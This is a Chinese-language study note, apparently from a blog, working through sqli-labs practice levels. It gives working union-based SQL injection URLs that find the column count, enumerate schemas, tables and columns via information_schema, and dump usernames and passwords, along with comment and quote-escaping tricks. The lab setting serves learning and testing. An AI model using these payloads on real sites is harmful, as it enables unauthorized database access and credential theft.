zoukankan      html  css  js  c++  java
  • SQL注入-1

    select * from table_name where id=1 

    select version() 显示数据库的版本信息

    select * from table_name where id=1 order by 1;

    猜表的列数 order by 后面从1开始依次猜解

    union前后语句的列数必须相同

    select * from table_name where id =1 union select 1,2,version();

    练习1

    http://10.1.2.5:10631/sqli/Less-2/?id=1

       先猜有几个字段 http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 1 二分法查找 先 1 然后10  再然后 5 

              http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 2

              http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 3

              http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 4 出错 判断出有三个字段

              http://10.1.2.5:10631/sqli/Less-2/?id=1 union select 1,2,version() 输出正常显示 并没有显示版本信息

              http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,version() 让id为错误可以解决问题

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata  查询出所有数据库名字

    information_schema这个库

      schemata :保存所有数据库的名字

        schema_name :列名

      tables : 保存所有表的名字 

        table_schema :数据表所属的数据库名 ,table_name:表名称 

      columns:保存所有列的名字

        column_name 列名

    查询数据库中所有的库名 user information_schema ;

               select schema_name from schemata ;

               http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata  ;group_concat()拼接所有的表

    查询当前库 select database();

    查询当前库的所有的表

    http://10.1.2.5:10631/sqli/Less-2/
    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='cms'

    查询指定库的所有的表

    http://10.1.2.5:10631/sqli/Less-2/
    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()

    查询指定库某个表的所有列

    http://10.1.2.5:10631/sqli/Less-2/
    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='cms_article'

    查询当前库某个表的所有列

    select column_name from infromation_schema.columns where table_schema = database() and table_name = 'users'

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'

    查询当前库某个表的所有数据

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from security.users

    mysql 语句的注释

    /*! ...*/内联注释

    # 单行注释 浏览器地址栏 用 %23表示

    /**/多行注释

    %23 表示 # 

    %20 表示空格

     练习2

    http://10.1.2.5:10631/sqli/Less-1/

    显示输入ID

    http://10.1.2.5:10631/sqli/Less-1/id=1 页面正常显示

    http://10.1.2.5:10631/sqli/Less-1/id=1 order by 1 正常显示

    http://10.1.2.5:10631/sqli/Less-1/id=1 order by 10 正常显示

    http://10.1.2.5:10631/sqli/Less-1/id=1 order by 100000正常显示 可推出 order by这条语句没有执行

    主动报错

    http://10.1.2.5:10631/sqli/Less-1/id=1' 显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    '1' ' LIMIT 0,1
    可以推出SQL后台语句基本为 select * from table_name where id=' 1' ' LIMIT 0,1

    http://10.1.2.5:10631/sqli/Less-1/?id=1' order by 1 %23 查看字段数

    通过联合查询 查询当前数据库名字

    http://10.1.2.5:10631/sqli/Less-1/?id=1' union select database() %23

    练习3

    http://10.1.2.5:10631/sqli/Less-4/?id=1 页面显示正常 

    用常规方法测试 order by 1 ,10000页面显示都正常

    用 id=1' 测试 页面依然显示正常  ,猜测可能不是单引号注入

    用 id = 1" 测试 

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

    "1"") LIMIT 0,1 

    猜测SQL语句为 select cols from table_name where id=" 1" ") LIMIT 0,1 

    发现 缺少一个括号 补全括号以后 为下面这条语句

    select cols from table_name where id=(" 1" ") LIMIT 0,1

    想办法让 union ...处于 双引号的外面 

    select cols from table_name where id=(" 1") union select database() #") LIMIT 0,1

    最后得出地址为 :http://10.1.2.5:10631/sqli/Less-4/?id=-1 ) union select 1,2,database()%20%23

  • 相关阅读:
    外面下雨了,凉快了
    无聊,听说wow五区开放了,注册个人物去玩玩
    草原游记二大青山上
    终于拿到钥匙了
    刚看到一个论坛的帖子,一位大哥说到真是话糙理不糙,佩服
    草原随感录武川印象
    第一次网上买点卡
    看到小说<搜神新记>里面巨搞笑的一段,是共工和太章打完架后,把事先被昏迷的人叫醒的事情
    昨天晚上很生气很生气。。。。
    感于"一生所爱"
  • 原文地址:https://www.cnblogs.com/Abelte/p/8872324.html
Copyright © 2011-2022 走看看